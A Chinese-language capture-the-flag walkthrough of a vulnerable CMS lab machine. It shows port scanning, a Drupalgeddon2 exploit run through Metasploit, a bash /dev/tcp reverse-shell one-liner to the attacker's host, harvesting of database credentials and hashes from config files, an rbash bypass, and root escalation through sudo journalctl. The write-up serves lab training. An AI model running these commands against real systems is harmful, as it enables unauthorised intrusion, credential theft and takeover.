信息收集#
端口扫描#
扫描命令如下:
nmap -sC -sV -p22,80,5000,8081,9001 -Pn -n -T4 -sT -oN nmapscan/detail 192.168.56.55
扫描结果如下:
Nmap scan report for 192.168.56.55
Host is up (0.00060s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8c:9f:7e:78:82:ef:76:f6:26:23:c9:52:6d:aa:fe:d0 (RSA)
| 256 2a:e2:f6:d2:52:1c:c1:d0:3d:aa:40:e6:b5:08:1d:45 (ECDSA)
|_ 256 fa:c9:eb:58:e3:d2:b7:4a:74:77:fc:69:0e:b6:68:08 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: W3.CSS Template
|_http-server-header: nginx/1.14.0 (Ubuntu)
5000/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-generator: WordPress 5.7.2
|_http-title: fsociety – Just another WordPress site
8081/tcp open http nginx 1.14.0 (Ubuntu)
| http-robots.txt: 15 disallowed entries
| /joomla/administrator/ /administrator/ /bin/ /cache/
| /cli/ /components/ /includes/ /installation/ /language/
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-title: Home
|_http-generator: Joomla! - Open Source Content Management
|_http-server-header: nginx/1.14.0 (Ubuntu)
9001/tcp open http nginx 1.14.0 (Ubuntu)
|_http-generator: Drupal 7 (http://drupal.org)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: fsociety.web
从扫描结果可以看到,除了常见的 HTTP 服务(80 端口)外,目标机器还开放了其他几个与内容管理系统(CMS)相关的端口,包括:
- WordPress:端口 5000
- Joomla:端口 8081
- Drupal:端口 9001
这表明该靶场包含了多个知名 CMS 系统,因此可以根据这些信息选择合适的攻击路径。
版本识别与漏洞分析#
首先,常规的思路一定是先目录扫描,可以发现潜在的后台路径和版本信息。然后重点就是 cms 版本分析,看看有没有可利用的 nday。
WordPress#
通过访问 http://fsociety.web:5000/rss/
页面,我们能够看到 WordPress 框架的版本信息:5.7.2,其实直接使用 wappalyzer 插件也能获取版本信息。
然后通过 wpscan
工具进行扫描,
wpscan --url http://192.168.56.55:5000 -e u,vp --plugins-detection aggressive --api-token xxxxxxxx
没有发现特别严重的版本和插件漏洞。
Joomla#
使用 cmseek 对 Joomla 进行扫描,
得到版本为 Joomla 3.4.3。该版本存在远程代码执行(RCE)漏洞,能够通过特定的恶意请求来执行任意代码。
Drupal#
通过特定的路径http://192.168.56.55:9001/CHANGELOG.txt
确认了 Drupal 版本为 7.54,这是一个广泛受到关注的版本,存在多个已知漏洞。
漏洞利用#
对于 Joomla,我尝试了 https://github.com/kiks7/rusty_joomla_rce 这个 POC
但没有成功。
然而,Drupal 7.54 存在一个著名的漏洞(Drupalgeddon2),可以通过 Metasploit 直接利用。利用该漏洞的方法如下:
-
启动 Metasploit 控制台:
msfconsole
-
加载 Drupalgeddon2 漏洞模块:
use exploit/unix/webapp/drupal_drupalgeddon2
-
设置目标信息:
set RHOSTS 192.168.56.55 set RPORT 9001 set LHOST 192.168.56.100
-
执行攻击:
run
成功后,即可获得目标系统 Initial Access 权限。
虽然 msf
提供的 shell -t
命令已经是一个非常好用的伪终端了,但我个人更倾向于反弹一个 shell 回来,这样更为灵活:
bash -c "bash -i /dev/tcp/192.168.56.100/4444 0>&1"
稳定并升级一下 shell:
提权#
首先,查看 /etc/passwd
文件中的用户信息,发现有一个 elliot
用户使用的是 rbash
,需要留意。
www-data@vuln_cms:/opt$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
ghost:x:1000:1000:tombstoneGhost:/home/ghost:/bin/bash
elliot:x:1001:1001::/home/elliot:/bin/rbash
tyrell:x:1002:1002::/home/tyrell:/bin/bash
寻找配置信息(用户密码)#
然后直接运行 linpeas
,看看能否获得进一步的线索。很好,在 drupal
站点的 settings.php
文件中找到了数据库的凭据:
grep -C 5 'pass' /var/www/html/drupal/sites/default/settings.php
得到的数据库凭据为:
array (
'default' =>
array (
'database' => 'drupal_db',
'username' => 'drupal_admin',
'password' => 'p@$$_C!rUP@!_cM5',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
)
通过连接到 MariaDB 数据库,查看了 drupal_db
中的 users
表,但发现该表的密码是加盐哈希,没有直接的价值。
MariaDB [drupal_db]> describe users;
+------------------+------------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+------------------+------------------+------+-----+---------+-------+
| uid | int(10) unsigned | NO | PRI | 0 | |
| name | varchar(60) | NO | UNI | | |
| pass | varchar(128) | NO | | | |
| mail | varchar(254) | YES | MUL | | |
| theme | varchar(255) | NO | | | |
| signature | varchar(255) | NO | | | |
| signature_format | varchar(255) | YES | | NULL | |
| created | int(11) | NO | MUL | 0 | |
| access | int(11) | NO | MUL | 0 | |
| login | int(11) | NO | | 0 | |
| status | tinyint(4) | NO | | 0 | |
| timezone | varchar(32) | YES | | NULL | |
| language | varchar(12) | NO | | | |
| picture | int(11) | NO | MUL | 0 | |
| init | varchar(254) | YES | | | |
| data | longblob | YES | | NULL | |
+------------------+------------------+------+-----+---------+-------+
MariaDB [drupal_db]> select name,pass from users;
+------------------+---------------------------------------------------------+
| name | pass |
+------------------+---------------------------------------------------------+
| | |
| admin_cms_drupal | $S$DADmuahqIEcfhp8mqTQ/ystjAyQdBA46h/VXbd89wutU4aKRmNpi |
+------------------+---------------------------------------------------------+
接着,自然想到去看看 wordpress
的配置文件,同样获取了数据库的用户名和密码:
define( 'DB_USER', 'wp_admin' );
define( 'DB_PASSWORD', 'UUs3R_C!B@p@55' );
不过,通过查询 wp_users
表,发现密码依然是加盐哈希值,没有直接破解价值:
MariaDB [wordpress_db]> select user_login, user_pass from wp_users;
+-----------------+------------------------------------+
| user_login | user_pass |
+-----------------+------------------------------------+
| wordpress_admin | $P$ByXz8klWHk6kmTctrN/8vfzXGqLfab/ |
+-----------------+------------------------------------+
对于 joomla
,通过查看配置文件 configuration.php
,获取了数据库凭据:
public $user = 'joomla_admin';
public $password = 'j00m1_@_dBpA$$';
public $db = 'joomla_db';
在数据库中查询了 hs23w_users
表,获取了两个用户的哈希密码,同样没有直接价值:
MariaDB [joomla_db]> select username, password from hs23w_users;
+-----------------+--------------------------------------------------------------+
| username | password |
+-----------------+--------------------------------------------------------------+
| joomlaCMS_admin | $2y$10$EYc6SKfMLzlLE/IcD9a6XeAe2Uv7WTBFlbbqRrnpht1K0M1bLrWee |
| elliot | $2y$10$jddnEQpjriJX9jPxh6C/hOag4ZZXae4iVhL7GVRPC9SHWgqbi4SYy |
+-----------------+--------------------------------------------------------------+
提权 - elliot 账户#
发现重要凭据#
在 /opt
目录下,发现了一个凭据文件 8081.cred
,其中存储了 joomlaCMS_admin
的用户名和密码:
www-data@vuln_cms:/opt$ cat 8081.cred
Username: joomlaCMS_admin
Password: _q4gWWJuBWt8cqfbUm-cdevR?L@N7-pR
使用这个凭据登录 Joomla 后台(注意一定要在后台登录):
http://192.168.56.55:8081/administrator/
登录成功后,发现了 elliot
用户的密码:5T3e!_M0un7i@N
绕过 rbash#
由于 elliot
用户是使用 rbash
,我们尝试通过以下命令绕过这个限制:
ssh [email protected] -t bash
在家目录下成功读取 user flag
提权 - tyrell 账户#
继续进行信息收集和提权操作时,把常规的提权思路试了个遍,然而都没有取得成果。就在这时,突然想起还有另一个用户账户 tyrell
,我决定检查下这个账户是否也隐藏有密码。
查找 tyrell
相关文件#
通过以下命令,我在系统中查找与 tyrell
相关的文件:
elliot@vuln_cms:~$ find / -iname '*tyrell*' -type f 2>/dev/null
/var/www/html/drupal/misc/tyrell.pass
发现了一个名为 tyrell.pass
的文件,接着查看其内容:
elliot@vuln_cms:~$ cat /var/www/html/drupal/misc/tyrell.pass
Username: tyrell
Password: mR_R0bo7_i5_R3@!_
成功找到了 tyrell
的密码!
切换至 tyrell
用户#
使用获得的密码进行切换:
elliot@vuln_cms:~$ su - tyrell
Password: mR_R0bo7_i5_R3@!_
tyrell@vuln_cms:~$ id
uid=1002(tyrell) gid=1002(tyrell) groups=1002(tyrell)
此时,成功切换为 tyrell
用户。
sudo 提权#
检查 tyrell
用户是否有 sudo
权限:
tyrell@vuln_cms:~$ sudo -l
Matching Defaults entries for tyrell on vuln_cms:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User tyrell may run the following commands on vuln_cms:
(root) NOPASSWD: /bin/journalctl
tyrell
用户可以无密码使用 sudo
执行 /bin/journalctl
命令。
先用 ls -l
、file
和 strings
简单分析一下这个程序,然后我尝试直接运行程序,观察其行为:
发现调用了分页器显示内容。于是,直接通过 !bash
提权,就成功地以 root 权限获得了一个 Bash shell。
这个命令在 gtfobins
网站上也能找到相关的提权技巧
在 root
用户目录下,成功找到了 root.txt
文件,并成功读取文件中的 flag 值。
总结#
在渗透测试初期,我首先进行了 CMS 版本分析,并成功通过 Metasploit 利用 Drupal 的漏洞突破了边界。提权阶段,一开始分别查看了三个 CMS 的配置文件,并深入数据库进行搜索,尽管没有直接找到有用的信息,但这种思路依然是渗透测试中常用的路径。随后,在 /opt
目录下,我发现了 Joomla 后台的账号密码,并通过后台访问获得了 Elliot 用户的密码。
继续进行信息收集并查找系统中隐藏的密码文件后,我成功获得了 tyrell
用户的凭据。进一步分析后,发现该用户拥有 sudo
权限,能够执行 /bin/journalctl
。借助这一点,我成功提权到 root
,并最终获取了 root
目录下的 flag。
至此,整个渗透测试过程圆满结束!